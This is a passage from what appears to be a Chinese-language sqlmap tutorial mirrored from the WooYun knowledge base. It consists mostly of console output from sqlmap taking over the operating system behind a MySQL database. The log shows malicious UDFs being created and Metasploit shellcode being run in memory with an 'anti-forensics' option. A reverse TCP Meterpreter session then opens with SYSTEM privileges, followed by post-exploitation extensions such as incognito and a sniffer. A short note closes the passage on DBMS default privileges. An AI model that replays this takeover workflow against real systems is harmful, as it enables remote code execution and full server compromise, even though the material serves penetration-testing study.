[2] ICMP: icmpsh - ICMP tunneling
&gt; 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
&gt; 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying 
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
&gt; 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
&gt; 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
&gt; 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD =&gt; windows/meterpreter/reverse_tcp
EXITFUNC =&gt; thread
LPORT =&gt; 60641
LHOST =&gt; 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', 
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -&gt; 192.168.136.129:1689) at Mon Apr 11 
hh:mm:52 +0100 2011

meterpreter &gt; Loading extension espia...success.
meterpreter &gt; Loading extension incognito...success.
meterpreter &gt; [-] The 'priv' extension has already been loaded.
meterpreter &gt; Loading extension sniffer...success.
meterpreter &gt; System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter &gt; Server username: NT AUTHORITY\SYSTEM
meterpreter &gt; ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter &gt; exit

[*] Meterpreter session 1 closed.  Reason: User exit

預設情況下MySQL在Windows上以SYSTEM許可權執行,PostgreSQL在Windows與Linux中是低許可權執行,Microsoft SQL Server 2000預設是以SYSTEM許可權執行,Microsoft SQL Server 2005與2008大部分是以NETWORK SERVICE有時是LOCAL SERVICE。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章